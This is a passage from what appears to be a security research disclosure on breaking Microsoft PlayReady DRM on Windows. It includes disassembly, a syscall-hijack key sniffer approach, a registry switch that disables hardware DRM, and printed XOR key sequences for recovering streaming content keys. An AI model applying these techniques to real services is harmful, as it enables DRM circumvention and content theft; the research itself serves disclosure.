.text:0000000180179977                 mov     r8, [rcx+10h]   ; arg2 - ptr to invoke counter  
.text:000000018017997B                 mov     r15, rdx  
.text:000000018017997E                 mov     rdi, [rcx+8]    ; this  
.text:0000000180179982                 mov     r12, [rcx]  
.text:0000000180179985  
.text:0000000180179985 loc_180179985:                          ; DATA XREF: .rdata:000000018096E54C↓o  
.text:0000000180179985                                         ; .rdata:000000018096E55C↓o ...  
.text:0000000180179985                 mov     [rsp+98h+var_38], r14  
.text:000000018017998A                 mov     rbp, [rdx-8]  
.text:000000018017998E                 xor     ebx, ebx  
.text:0000000180179990                 mov     rsi, [rdx-10h]  
.text:0000000180179994                 mov     [rsp+98h+arg_0], ebx  
.text:000000018017999B                 test    r8, r8  
.text:000000018017999E                 jnz     short loc_1801799AA ; -> ok  
.text:00000001801799A0                 mov     ebx, 80070057h  
.text:00000001801799A5                 jmp     loc_180179ADD  
.text:00000001801799AA ; ---------------------------------------------------------------------------  
.text:00000001801799AA  
.text:00000001801799AA loc_1801799AA:                          ; CODE XREF: agsr_check_pe_trusted+3E↑j  
.text:00000001801799AA                 mov     eax, [r8]  
.text:00000001801799AD                 cmp     eax, 1388h      ; =5000 dec  
.text:00000001801799B2                 jbe     loc_180179AD8   ; PE security every 5000 invocation  
.text:00000001801799B8                 mov     [r8], ebx       ; clear counter  
.text:00000001801799BB                 cmp     [rdi+0BC0h], ebx  
.text:00000001801799C1                 jz      short loc_1801799D2  
.text:00000001801799C3  
.text:00000001801799C3 loc_1801799C3:                          ; CODE XREF: agsr_check_pe_trusted+B7↓j  
.text:00000001801799C3                 mov     dword ptr [rdi+0BF0h], 1 ; trusted pe flag ?  
.text:00000001801799CD                 jmp     loc_180179ADD  

Finally, it’s worth to mention that the analysis of the PEAuth was made much
easier thanks to Media Foundation Samples' and the code forclearkeyStoreCDM`,
which seemed to be a mirror of actual CDM used by PlayReady:

.text:0000000180199860 agsr_VerifyState?? proc near            ; DATA XREF: sub_180179960+C2↑o  
.text:0000000180199860                                         ; .rdata:0000000180970E4C↓o ...  
.text:0000000180199860  
.text:0000000180199860 var_258         = qword ptr -258h  
.text:0000000180199860 var_250         = qword ptr -250h  
.text:0000000180199860 var_248         = qword ptr -248h  
.text:0000000180199860 var_240         = qword ptr -240h  
.text:0000000180199860 var_238         = qword ptr -238h  
.text:0000000180199860 var_230         = dword ptr -230h

....

.text:0000000180199C01                 lea     rax, [r12+10h]  
.text:0000000180199C06                 mov     r8d, 10h  
.text:0000000180199C0C                 lea     r9, [rbp+170h+var_1C8+4]  
.text:0000000180199C10                 sub     r9, rax  
.text:0000000180199C13  
.text:0000000180199C13 loc_180199C13:                          ; CODE XREF: sub_180199860+3C5↓j  
.text:0000000180199C13                 movzx   ecx, byte ptr [r9+rax]  
.text:0000000180199C18                 cmp     cl, [rax]  
.text:0000000180199C1A                 ja      short loc_180199C3A  
.text:0000000180199C1C                 jb      short loc_180199C3A  
.text:0000000180199C1E                 inc     rax  
.text:0000000180199C21                 sub     r8, 1  
.text:0000000180199C25                 jnz     short loc_180199C13  
.text:0000000180199C27                 mov     eax, [r12+0Ch]  
.text:0000000180199C2C                 mov     ecx, 0C00D715Fh ; //  
.text:0000000180199C2C                                         ; // MessageId: MF_E_GRL_VERSION_TOO_LOW  
.text:0000000180199C2C                                         ; //  
.text:0000000180199C2C                                         ; // MessageText:  
.text:0000000180199C2C                                         ; //  
.text:0000000180199C2C                                         ; // The current GRL on the machine does not meet the minimum version requirements.%0  
.text:0000000180199C2C                                         ; //  
.text:0000000180199C2C                                         ; #define MF_E_GRL_VERSION_TOO_LOW         _HRESULT_TYPEDEF_(0xC00D715FL)  

the original code is shown below:

HRESULT Cdm_clearkey_PEAuthHelper::VerifyState()  
{  
    HRESULT              hr     = S_OK;  
    PEAUTH_MSG           oMsg   = { 0 };  
    PEAUTH_MSG_RESPONSE  oRsp   = { 0 };

    //  
    // Obtain the current state of the protected environment from the kernel  
    //  
    IF_FAILED_GOTO( _GenerateKernelInquiryMessage( m_fRequireTrustedKernel, m_dwMinimumGRLVersionRequired, &oMsg ) );  
    IF_FAILED_GOTO( this->TransmitPEAuthMessage( &oMsg, sizeof( oMsg ), &oRsp, sizeof( oRsp ) ) );  
    IF_FAILED_GOTO( _VerifyResponseMessageStatus( m_fRequireTrustedKernel, m_fRequireTrustedUsermode, &oRsp ) );  
    IF_FAILED_GOTO( _VerifyBinarySigning( oRsp.ResponseBody.Status.ResponseFlag, m_fBlockTestSignatures ) );  
...  

The published samples made it possible to follow the ITA path and discover the
symbolic names of many calls by simply comparing the asm code with available
C++ sources:

.text:000000018018E40D                 lea     rax, [rcx+0B8h]  
.text:000000018018E414                 mov     rcx, rax  
.text:000000018018E417                 mov     [rbp+20h+var_98], rax  
.text:000000018018E41B                 call    agsr_CloneSample ; IF_FAILED_GOTO( _CloneSample( pSample, &spSample ) );  
.text:000000018018E420                 mov     rsi, qword ptr [rsp+120h+var_E8] ; spSample  
.text:000000018018E425                 mov     r14d, eax  
.text:000000018018E428                 test    eax, eax  
.text:000000018018E42A                 js      loc_18018EAD4   ; -> error  
.text:000000018018E430                 mov     rax, [rsi]  
.text:000000018018E433                 mov     rbx, [rax+148h]  
.text:000000018018E43A                 mov     rcx, rbx  
.text:000000018018E43D                 call    cs:__guard_check_icall_fptr ; addr 7ffbba0ee443 (18e443) -> target 7ffbf4c55400 (3acf5400)    180015400 ; __int64 __fastcall CMFSample::ConvertToContiguousBuffer(CMFSample *__hidden this, struct IMFMediaBuffer **)  
.text:000000018018E43D                                         ;  
.text:000000018018E43D                                         ; IF_FAILED_GOTO( spSample->ConvertToContiguousBuffer( &spOutputBuffer ) );  
.text:000000018018E443                 lea     rdx, [rsp+120h+var_C8] ;     ComPtr<IMFMediaBuffer> spOutputBuffer;  
.text:000000018018E448                 mov     rcx, rsi  
.text:000000018018E44B                 call    rbx  
.text:000000018018E44D                 mov     r14d, eax  
.text:000000018018E450                 test    eax, eax  
.text:000000018018E452                 js      loc_18018EAD4   ; -> error  
.text:000000018018E458                 mov     rbx, [rsp+120h+var_C8] ; spOutputBuffer  
.text:000000018018E45D                 mov     rax, [rbx]  
.text:000000018018E460                 mov     r14, [rax+18h]  
.text:000000018018E464                 mov     rcx, r14  
.text:000000018018E467                 call    cs:__guard_check_icall_fptr ; addr 7ffbba0ee46d (18e46d) -> target 7ffbba172150 (212150)  
.text:000000018018E467                                         ;  
.text:000000018018E467                                         ; IF_FAILED_GOTO( spOutputBuffer->Lock( &pbOutputWeakRef, nullptr, &cbOutputWeakRef ) ); ???  
.text:000000018018E467                                         ;  
.text:000000018018E467                                         ; Lock  
.text:000000018018E467                                         ; (  
.text:000000018018E467                                         ; [out] BYTE **ppbBuffer,  
.text:000000018018E467                                         ; [out] DWORD *pcbMaxLength,  
.text:000000018018E467                                         ; [out] DWORD *pcbCurrentLength  
.text:000000018018E467                                         ; )  
.text:000000018018E46D                 lea     r9, [rsp+120h+var_F0] ; cbOutputWeakRef  
.text:000000018018E472                 xor     r8d, r8d        ; null  
.text:000000018018E475                 lea     rdx, [rsp+120h+var_B8] ; pbOutputWeakRef  
.text:000000018018E47A                 mov     rcx, rbx  
.text:000000018018E47D                 call    r14             ; -> 180212150  

CONTENT KEY EXTRACTION

WB syscall hijack (NtQuerySystemInformation IAT entry hijack) made it
possible to investigate WB calls (callstack), their arguments, stack and
memory content of PMP process during license acquisition (runtime PlayReady
operation in arbitrary VOD service environment such as Canal+ Online,
Netflix, HBO Max, Amazon Prime or Sky Showtime).

Data and logs retrieved could be both tuned and compared with decrypted static
binary image.

As a result, WB call location has been selected as including the following
information on the stack:

  • XMR license blob
  • license blob signature
  • content key

This is illustrated below (callstack layout done with respect to sub 0x215600:

7e f5 18 92 41 cf ba fb 47 a0 5b c2 97 b7 4c 6d  -> var_5B0 (content key blob, size 0x20)  
3e b5 52 69 e8 78 ae bf 99 5d bd 89 76 f4 a2 e3       
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
72 07 00 00 00 00 00 00 ad e3 a6 29 fa 7f 00 00  
30 d7 d7 be 72 00 00 00 e8 dc d7 be 72 00 00 00  
a6 93 88 c4 dc 01 00 00 10 00 00 00 00 00 00 00 <-- license signature data (addr, size),   
24 92 88 c4 dc 01 00 00 76 01 00 00 00 00 00 00 <-- license xmr data (addr,size)  
90 d7 d7 be 72 00 00 00 8f 03 00 00 00 00 00 00  
30 a0 88 c4 dc 01 00 00 3d 74 6d ed f9 7f 00 00  
f7 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
e0 dc d7 be 72 00 00 00 4f 03 00 00 00 00 00 00  
a0 5d 00 00 00 00 00 00 80 b9 88 c4 dc 01 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
a0 5d 00 00 00 00 00 00 20 a0 88 c4 dc 01 00 00

8c d1 ae 6c c3 c6 8e fe 9f 02 5b 3c cd 7d 4b 4b -> white-box AES rounds (expand key)  
7a 36 9a 99 d8 1a dc 1e 66 9f e8 2c b1 d4 13 95  
8e 18 01 c0 f3 6b f0 3f 18 b3 6b ed 98 8f 08 33  
e2 9d 50 36 97 70 26 8f 09 45 cb e4 17 4c 45 51  
f8 94 fc 29 e9 62 5c 20 66 a1 11 42 f7 6b d2 95  
08 96 3c 4e 67 72 e6 e8 87 55 71 2c f6 b8 25 3f  
8f f8 88 eb 6e 0c e8 85 6f df 1f 2f 1f e1 bc 96  
b6 49 9d 0d 5e c3 f3 0e b7 9a 6a a7 2e fd 50 b7  
27 21 13 80 ff 64 66 08 ce 78 8a 29 66 03 5c 18  
bc f6 f6 02 92 8f 8c 92 d6 b4 47 e1 ac a2 d1 f8  
46 4d 3c b2 4e 00 92 b4 a1 af eb 68 4b ee a4 6e

70 00 00 00 00 00 00 00 7f 00 00 00 00 00 00 00  
a0 10 00 00 00 00 00 00 20 a0 88 c4 dc 01 00 00  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
7f 00 00 00 00 00 00 00 a0 5d 00 00 00 00 00 00

a7 c1 73 1b 23 ad b4 07 20 95 c4 62 9d 2b 57 6f -> license blob data (var_3C0)  
41 e3 e0 c6 33 2d af 65 68 aa ae 3b b0 56 7f c5  
2b 1e 8e f9 5e 0b 2b aa 18 8b d3 bc 48 a1 e3 e3  
11 7c 77 15 5a 25 39 2a 49 b9 12 ce d8 31 1b ad  
fe 6a 9d 21 36 9b 6d 8e 69 25 af c2 d5 45 32 90  
54 5a e8 c2 04 e5 57 5d e1 8c 16 9b 34 21 4d 6c  
9b 9c 0b 65 fc 74 4f d2 2b 69 13 19 49 d0 bb d8  
69 8b c7 8a ff 3f 77 91 a8 b1 3d 88 b6 9d b6 40

98 44 cb cf bf cf b0 64 15 fe ae 24 b0 eb b4 c7 -> encrypted prkf key (var_340)  
28 0c 98 98 22 16 bc 8a a8 28 bd 36 1d 7a ef 9a  
0b a0 e8 a2 e8 58 26 c2 6c fe 53 fe 69 19 cb fa  
f6 38 4e e0 0d 4b f5 cf 24 f5 21 18 6f 27 15 8d  
8d 00 00 00 00 00 00 00 a1 5b a7 29 fa 7f 00 00  

The above callstack corresponded to the WB segment decryption call invoked from
the following location:

.text:0000000180215D2C loc_180215D2C:                          ; CODE XREF: agsr_get_license_decryptor+720↑j  
.text:0000000180215D2C                 cmp     [rbp+5A0h+arg_10], 0 ; =0 (ustawiane wyzej)  
.text:0000000180215D33                 jnz     short loc_180215D9B ; u mnie 0  
.text:0000000180215D35                 lea     rax, agsr_decrypt_segment ; TUTAJ MOGE ZROBIC HIJACK CALL'A!!!!  
.text:0000000180215D35                                         ; aby odczytac ECC key  
.text:0000000180215D35                                         ;  
.text:0000000180215D35                                         ; decrypt  
.text:0000000180215D35                                         ; - wb segment  
.text:0000000180215D35                                         ;   desc_va:      0x6d8100 size 100  
.text:0000000180215D35                                         ;   relocs_va:    0x9436f0 num 0x5197  
.text:0000000180215D35                                         ;   segments (num 1, data size 415):  
.text:0000000180215D35                                         ;   * [0000] encr_va 6b3a40 size 00019f section .text  
.text:0000000180215D3C                 add     rax, r14  
.text:0000000180215D3F                 call    rax  
.text:0000000180215D41                 test    eax, eax  
.text:0000000180215D43                 js      loc_180215C89   ; -> error  
.text:0000000180215D49                 mov     ebx, [rsp+6A0h+var_650] ; u mnie 0  
.text:0000000180215D4D                 lea     rax, [rbp+5A0h+var_5B0] ; plaintext key (ECC secret) ? rbp-10h ??  
.text:0000000180215D51                 mov     r9d, dword ptr [rbp+5A0h+var_550+8] ; arg4 = license xmr size ?  
.text:0000000180215D55                 xor     ecx, ecx  
.text:0000000180215D57                 mov     r8, qword ptr [rbp+5A0h+var_550] ; arg3 = license xmr ?  
.text:0000000180215D5B                 cmp     r13w, 5         ; decryptor type ?  
.text:0000000180215D60                 mov     [rsp+6A0h+var_670], ebx ; arg7 = u mnie 0  
.text:0000000180215D64                 mov     [rsp+6A0h+var_678], rax ; arg6 = plaintext key (ECC secret) ?  

The actual call to WB syscall has been conducted (hijacked) at this location:

.text:00000001800EBD1C                 mov     eax, cs:dword_18098F428  
.text:00000001800EBD22                 lea     rdx, [r11-48h]  ; SystemInformation  
.text:00000001800EBD26                 mov     [r11-28h], rcx  
.text:00000001800EBD2A                 mov     ecx, 0B9h       ; SystemInformationClass  
.text:00000001800EBD2F                 mov     [r11-20h], rax  
.text:00000001800EBD33                 call    cs:__imp_NtQuerySystemInformation  
.text:00000001800EBD39                 bts     eax, 1Ch  
.text:00000001800EBD3D  
.text:00000001800EBD3D loc_1800EBD3D:                          ; CODE XREF: agsr_decrypt_segment+21↑j  

Initially, the hijacking proceeded by comparing the low 16-bit value of the
return address:

is_decrypt_location:  
;    mov rdx,qword ptr [rsp+SAVED_REG_RIP+8]  
;    and edx,0ffffh  
;    cmp edx,0bd39h  

In order to make sniffer code portable across various PlayReady library
versions and Windows 10 / 11 systems, another, completely automatic and
address independent approach has been used that relied on the following:

  • heuristic check for rbp “validity”
  • match of wb call args size
  • match of wb call type
  • some stack content verification as expected to be present at target call
    location (license xmr / signature ptrs, signature size)

The above was sufficient to match on a target WB call. Upon matching, the
sniffer proceeds with arbitrary data dump of data contained on the callstack
comprising of license, signature and content keys.

It also takes into account potential shift of the data on the stack occurring
on some systems, which is due to different local variable layout (it does so
with respect to content key blob).

HW DRM DISABLING

On Windows platforms with HW DRM capability, the attack (content key sniffing)
can still proceed as this feature can be easily disabled by setting the
following registry entry:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PlayReady\Troubleshooter  

with value DisableHWDRM DWORD val = 1

Upon HWDRM disabling, PlayReady DRM proceeds as in Windows 10 without HW
support. More specifically, client identities get created and are maintained
in local file system (*.bla files).

MAGIC XOR KEYS DISCOVERY

The analysis conducted with respect to license blob decryption provided strong
hints that content key acquired by the sniffer (and denoted by var_5B0 above)
is actually the content key blob.

Investigation of code paths using that blob revealed that decryptor instance
used it to build AES rounds table. The AES rounds table was further used by
the core AES decryptor subroutine for MPEG A/V segments decryption.

Yet, the content key blob in its form present in memory and acquired by the
sniffer didn’t work (we failed to decrypt target MPEG movies with it, we tried
various combinations, byte reversals, etc.).

We started to suspect that content key blob is maintained in PMP in some other
form. It could be permutation, affine / algebraic transform or some obfuscation.

We didn’t know the real content key value, which could provide some hints with
respect to how content key blob bytes corresponds to it.

Thinking more about it we figured out that we didn’t need any real content key
values at all. We could generate these on our own.

PlayReady identities stored in Windows CDM carry public components for both
signing and encryption key. One could use the public encryption component to
build a custom license carrying a specific content key.

This is what we did.

So, we generated arbitrary license blob for a given PlayReady identity (using
its public encryption key), so that a content key was known to have byte 0 at
pos 0:

msprcp> genlicense -i 0C86330B0E98CD7C586F336088DAFA0E -v 0 -p 0  
pubkey  
  0000:  cb 27 6f 9f 9f 76 46 64 54 23 19 ef 9c c7 69 0f  .'o..vFdT#....i.  
  0010:  9c 3b e3 75 8b d3 78 2a 8d 03 fb a8 bf 9e 1c 6d  .;.u..x*.......m  
  0020:  f7 10 1c 69 94 2c 4d 07 d9 68 8b 61 09 85 bb d3  ...i.,M..h.a....  
  0030:  4e e8 58 20 e2 0c c9 bc a9 a8 1e b7 f6 59 65 7d  N.X..........Ye}  
content key  
  0000:  19 3f fc 9e 78 e2 35 05 9c 2f 5e 15 f1 6a 3a ed  .?..x.5../^..j:.  
  0010:  00 1a 31 8d ea 33 7a c3 67 57 e7 e6 26 4a bd 00  ..1..3z.gW..&J..  
license  
  0000:  be 70 c2 2b 49 ff 69 b4 b4 e5 ec db f4 93 2d d8  .p.+I.i.......-.  
  0010:  a2 42 de 3a 8e 20 38 bd 9e be 00 d5 12 b2 7d 14  .B.:..8.......}.  
  0020:  d4 18 30 ab 3b 96 7e 23 23 fd 81 fd c6 f8 98 7e  ..0.;..##.......  
  0030:  90 7b 78 02 22 1a 21 6b c6 00 13 a1 6a 5c 85 c5  .{x.".!k....j...  
  0040:  19 8d aa 46 4e 58 d8 a1 c1 6b 9c 6b 9b 02 6e 1e  ...FNX...k.k..n.  
  0050:  83 b4 e4 32 0a 4f 18 28 93 2d 32 0d 8a 04 b8 63  ...2.O.(.-2....c  
  0060:  85 aa bf 2e af a3 ae 36 9f 8b db c5 06 8f bf 0d  .......6........  
  0070:  8a 8e 95 be 49 db ab 95 e6 c5 55 18 f2 08 c5 6d  ....I.....U....m  
stored to license.blob  

We then tried to decrypt the license blob with the use the key subroutine we
located for that purpose (decrypt license blob indicated by prsubs cmd):

wret> declicense ..\mspr_toolkit\license.blob -k 0C86330B0E98CD7C586F336088DAFA0E.enc.prv  
DecLicenseCmd::run  
DECRYPT LICENSE  
keydata  
0x00000000:  4c 33 c6 8e 0e f1 b6 f1 0c d5 31 6b 40 94 aa 68  [email protected]  
0x00000010:  32 cc 68 1b 00 3b fc 65 8b c4 3c e3 cb 62 de fc  2.h..;.e..<..b..  
0x00000020:  11 ef 51 7b 92 73 a1 84 24 ac 71 33 cf 76 d3 05  ..Q{.s..$.q3.v..  
0x00000030:  44 2d 4e 12 79 3f 3f 09 7a 4e 4d 51 ac 78 a7 3c  D-N.y??.zNMQ.x.<  
0x00000040:  6b                                               k  
license  
0x00000000:  be 70 c2 2b 49 ff 69 b4 b4 e5 ec db f4 93 2d d8  .p.+I.i.......-.  
0x00000010:  a2 42 de 3a 8e 20 38 bd 9e be 00 d5 12 b2 7d 14  .B.:. 8.......}.  
0x00000020:  d4 18 30 ab 3b 96 7e 23 23 fd 81 fd c6 f8 98 7e  ..0.;.~##......~  
0x00000030:  90 7b 78 02 22 1a 21 6b c6 00 13 a1 6a 5c 85 c5  .{x.".!k....j\..  
0x00000040:  19 8d aa 46 4e 58 d8 a1 c1 6b 9c 6b 9b 02 6e 1e  ...FNX...k.k..n.  
0x00000050:  83 b4 e4 32 0a 4f 18 28 93 2d 32 0d 8a 04 b8 63  ...2.O.(.-2....c  
0x00000060:  85 aa bf 2e af a3 ae 36 9f 8b db c5 06 8f bf 0d  .......6........  
0x00000070:  8a 8e 95 be 49 db ab 95 e6 c5 55 18 f2 08 c5 6d  ....I.....U....m  
target 7ffd3d1728a0  
wb res: 0 call res 0  
output key  
0x00000000:  be 44 10 7a e9 4a 4b b9 44 8d 98 3d a7 db 5f 5e  .D.z.JK.D..=.._^  
0x00000010:  3a c8 66 a1 12 b8 a0 20 ba 90 7c 0e 30 f4 8c 85  :.f.... ..|.0...  

The output indicated content key value 0x3a for pos 0.

We did the same for other values corresponding to pos 0 such as 1:

genlicense -i 0C86330B0E98CD7C586F336088DAFA0E -v 1 -p 0  

The output indicated content key value 0x3b at pos 0.

wret> declicense ..\mspr_toolkit\license.blob -k 0C86330B0E98CD7C586F336088DAFA0E.enc.prv  
DecLicenseCmd::run  
DECRYPT LICENSE  
keydata  
0x00000000:  4c 33 c6 8e 0e f1 b6 f1 0c d5 31 6b 40 94 aa 68  [email protected]  
0x00000010:  32 cc 68 1b 00 3b fc 65 8b c4 3c e3 cb 62 de fc  2.h..;.e..<..b..  
0x00000020:  11 ef 51 7b 92 73 a1 84 24 ac 71 33 cf 76 d3 05  ..Q{.s..$.q3.v..  
0x00000030:  44 2d 4e 12 79 3f 3f 09 7a 4e 4d 51 ac 78 a7 3c  D-N.y??.zNMQ.x.<  
0x00000040:  6b                                               k  
license  
0x00000000:  2c b2 7a 58 fa a0 b2 67 ba 1e 72 9d 54 2f 75 bc  ,.zX...g..r.T/u.  
0x00000010:  93 82 66 4e 02 92 16 07 0b 16 c6 04 de 32 a5 94  ..fN.........2..  
0x00000020:  29 52 e6 8f 1b 08 65 e2 ad 16 9a 8c d5 a3 42 df  )R....e.......B.  
0x00000030:  b0 6e c6 61 f6 46 c5 b9 31 13 d3 a4 a9 7d 55 a5  .n.a.F..1....}U.  
0x00000040:  79 c2 65 b4 9f 21 4b 53 85 35 4c 26 fc 4d 87 81  y.e..!KS.5L&.M..  
0x00000050:  9f fb 55 3e f6 3d 40 6d 74 85 cf b3 f6 c1 2e 8d  ..U>.=@mt.......  
0x00000060:  57 32 3e c9 77 c8 53 d6 74 b8 df ba 02 45 9d c2  W2>.w.S.t....E..  
0x00000070:  ee 5d 52 b7 f7 23 81 dd 23 bd dc 5b ba d1 16 d0  .]R..#..#..[....  
target 7ffd3c6528a0  
wb res: 0 call res 0  
output key  
0x00000000:  56 1b e7 af 17 c1 ca 55 bb b8 f7 dc 1a d2 c5 97  V......U........  
0x00000010:  3b c0 85 03 97 db 75 a5 b5 83 73 19 13 4d 16 24  ;.....u...s..M.$  

We tested other values and here is where things started to gen interesting. No
matter what content key value was used for pos 0, the output obtained indicated
it was simply a result of a XOR operation with value 0x3a.

The other interesting observation was that the function used to calculate the
output byte for a content key at pos 0 was a bijection (XOR).

So, we tested values at other positions:

genlicense -i 0C86330B0E98CD7C586F336088DAFA0E -v 0 -p 1  
genlicense -i 0C86330B0E98CD7C586F336088DAFA0E -v 1 -p 1  
genlicense -i 0C86330B0E98CD7C586F336088DAFA0E -v 2 -p 1  
...  
genlicense -i 0C86330B0E98CD7C586F336088DAFA0E -v 0 -p 2  
genlicense -i 0C86330B0E98CD7C586F336088DAFA0E -v 1 -p 2  
...  

For all positions, we ended up with a bijection and a XOR function with some
constant value. The only difference was in a constant value - it was different
for every key pos.

So, finally we generated a license with a content key having all bytes set to
zero:

msprcp> genzlicense -i 0C86330B0E98CD7C586F336088DAFA0E -p decdata\key_zero.dat  
pubkey  
  0000:  cb 27 6f 9f 9f 76 46 64 54 23 19 ef 9c c7 69 0f  .'o..vFdT#....i.  
  0010:  9c 3b e3 75 8b d3 78 2a 8d 03 fb a8 bf 9e 1c 6d  .;.u..x*.......m  
  0020:  f7 10 1c 69 94 2c 4d 07 d9 68 8b 61 09 85 bb d3  ...i.,M..h.a....  
  0030:  4e e8 58 20 e2 0c c9 bc a9 a8 1e b7 f6 59 65 7d  N.X..........Ye}  
content key  
  0000:  48 45 4c 4c 4f 20 4d 49 43 52 4f 53 4f 46 54 21  HELLO.MICROSOFT!  
  0010:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................  
license  
  0000:  fe c1 77 07 03 01 0c d1 3b 75 54 24 3f d2 cf 53  ..w.....;uT$?..S  
  0010:  c7 21 68 a6 da f9 72 ab 6c 9d b5 9a 0b 10 88 40  .!h...r.l......@  
  0020:  fe 91 90 55 12 0f 0c 80 04 88 c1 80 87 67 68 3c  ...U.........gh<  
  0030:  32 4f 1b 46 1d eb 6c e1 d1 f0 9e ea 99 09 30 49  2O.F..l.......0I  
  0040:  59 3c 6e a9 72 2f 8e 4c 9c 0b e0 f2 62 85 37 33  Y<n.r/.L....b.73  
  0050:  4a b1 fe 09 0c 2f ad 70 b6 b6 4a 0f 77 7a c0 24  J..../.p..J.wz.$  
  0060:  fc c7 1c f6 aa ec 6b 1d b1 ef dc 95 ec cb 73 42  ......k.......sB  
  0070:  af 99 9f d7 b1 3c 23 4f 5f 8d 50 60 7e 17 4d 74  .....<#O_.P...Mt  
stored to zlicense.blob  

It’s decryption revealed XOR values associated with content key:

wret> declicense ..\mspr_toolkit\zlicense.blob -k 0C86330B0E98CD7C586F336088DAFA0E.enc.prv  
DecLicenseCmd::run  
DECRYPT LICENSE  
keydata  
0x00000000:  4c 33 c6 8e 0e f1 b6 f1 0c d5 31 6b 40 94 aa 68  [email protected]  
0x00000010:  32 cc 68 1b 00 3b fc 65 8b c4 3c e3 cb 62 de fc  2.h..;.e..<..b..  
0x00000020:  11 ef 51 7b 92 73 a1 84 24 ac 71 33 cf 76 d3 05  ..Q{.s..$.q3.v..  
0x00000030:  44 2d 4e 12 79 3f 3f 09 7a 4e 4d 51 ac 78 a7 3c  D-N.y??.zNMQ.x.<  
0x00000040:  6b                                               k  
license  
0x00000000:  fe c1 77 07 03 01 0c d1 3b 75 54 24 3f d2 cf 53  ..w.....;uT$?..S  
0x00000010:  c7 21 68 a6 da f9 72 ab 6c 9d b5 9a 0b 10 88 40  .!h...r.l......@  
0x00000020:  fe 91 90 55 12 0f 0c 80 04 88 c1 80 87 67 68 3c  ...U.........gh<  
0x00000030:  32 4f 1b 46 1d eb 6c e1 d1 f0 9e ea 99 09 30 49  2O.F..l.......0I  
0x00000040:  59 3c 6e a9 72 2f 8e 4c 9c 0b e0 f2 62 85 37 33  Y<n.r/.L....b.73  
0x00000050:  4a b1 fe 09 0c 2f ad 70 b6 b6 4a 0f 77 7a c0 24  J..../.p..J.wz.$  
0x00000060:  fc c7 1c f6 aa ec 6b 1d b1 ef dc 95 ec cb 73 42  ......k.......sB  
0x00000070:  af 99 9f d7 b1 3c 23 4f 5f 8d 50 60 7e 17 4d 74  .....<#O_.P`~.Mt  
target 7ffd3c6528a0  
wb res: 0 call res 0  
output key  
0x00000000:  ef 3e a0 a8 de 88 33 f5 9b f0 89 7b 19 f7 31 92  .>....3....{..1.  
0x00000010:  3a d2 57 2c f8 8b da e3 dd c7 9b e8 16 be 31 85  :.W,..........1.  

The following XOR key value (magic sequence) was obtained:

3a d2 57 2c f8 8b da e3 dd c7 9b e8 16 be 31 85  

By following the same approach across various PlayReady library and Windows OS
versions (10 and 11), we found out that there are only two such magic key
sequences used across Windows OS versions released since 2022 (one for Windows
10, the other for Windows 11).

The sequence for Windows 11 was the following:

81 73 8a db 5b 4b b4 22 3f aa d8 9c bb 45 9b ec  

The script genxorkey.bat located in tests\xor_key directory can discover
XOR key values automatically for various versions of PlayReady libraries present
in Windows 10 / 11 x64 systems across various builds from late 2022 till Nov

  1. The name of the output file is xorkey.txt'. Correspondinggentest.batscript decrypts the license containing special signature / content key sequence (decdata\key_zero.dat). It producestest.txt` output file for each library.

CONTENT KEYS / MAGIC XOR KEYS VERIFICATION

Knowing that content key blob obtained by the license sniffer was a bijection
(XOR functions with a predefined constant for each byte pos), we could now try
to obtain the plaintext value of the actual content key.

We imported sniffed data for arbitrary movie from Canal+ Online VOD collection:

msprcp> implicdata ..\..\tests\sniffdata\vod\w11\canalp_xxxxxxxxxxxxx.dat

LICENSE  
  * key id:         d4710165a17e7f4ab6f0973e9bb8c723  
  * content key:    04xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  * key SHA256:     c37da9b9500501a429ed038a6bf037df079a69aefdbcee873f2414089d51882b  

We exported its license blob to file:

msprcp> licdata -k d4710165a17e7f4ab6f0973e9bb8c723 -e sniff.blob  
license blob  
  0000:  3f a0 a4 df 3a a5 4b 9b 21 19 4e 76 04 c3 49 4c  ?...:.K.!.Nv..IL  
  0010:  6d 56 e6 8a b8 b1 5c 4d 93 83 06 70 95 19 e2 de  mV.....M...p....  
  0020:  65 22 f3 40 37 7e 4a 3e 60 56 ff 46 be 85 37 6e  e"[email protected]>.V.F..7n  
  0030:  04 6b 8d af 37 e2 6b f2 fb fd 00 b9 cc cf a8 33  .k..7.k........3  
  0040:  e8 07 bb 65 d3 3b 58 99 42 38 a1 7a 74 b6 39 f6  ...e.;X.B8.zt.9.  
  0050:  4e 13 53 ae 71 ec 44 67 59 7b 10 99 6a 10 a0 f8  N.S.q.DgY{..j...  
  0060:  2b 78 a0 b0 85 19 9e c7 d9 ed b9 54 e4 e1 b4 2e  +x.........T....  
  0070:  9c 70 0e 87 ac 86 7b a1 7c 03 a6 f7 99 5b d4 45  .p....{.|....[.E  
stored to sniff.blob  
msprcp>  

The license data indicated it was encrypted to the identity key starting with
34 87 66 73 bytes:

msprcp> licdata -k d4710165a17e7f4ab6f0973e9bb8c723 -v  
...  
       attr: 002a ECCDeviceKey  
       data  
         0000:  00 01 00 40 34 87 66 73 af da 57 db 05 60 7a 56  [email protected]  
         0010:  93 31 05 44 b9 79 c2 4d 20 95 b3 5f 99 da d5 8d  .1.D.y.M..._....  
         0020:  f4 ae e5 af e7 60 33 06 ec 03 84 dc 90 74 ec e6  ......3......t..  
         0030:  05 08 01 ea b2 b8 bd 47 2a ba c0 6c a8 98 14 6b  .......G*..l...k  
         0040:  ed 29 40 ab                                      .)@.  
...  

So, in order to decrypt the license we needed to use the W11 CDM identity that
has this key:

msprcp> set CDM_DIR cdm\w11  
msprcp> identity  
318780A3793C675A09F6871E67DA5817  
49CB836D40F3C68E496382B6F26B035D  
5B75F8180A95751793D99A4E3BCF1E28  
92B7A487F4BBA29A87CC845EA86CCBAC  
9D83557F9740AAFD4F8F594279D970F1

msprcp> identity 5B75F8180A95751793D99A4E3BCF1E28  
[5B75F8180A95751793D99A4E3BCF1E28]  
SIGN  
 IdentityInfo  
   pubkey  
     0000:  78 1f a2 d6 09 98 78 88 07 ce bd 27 c8 f5 83 60  x.....x....'....  
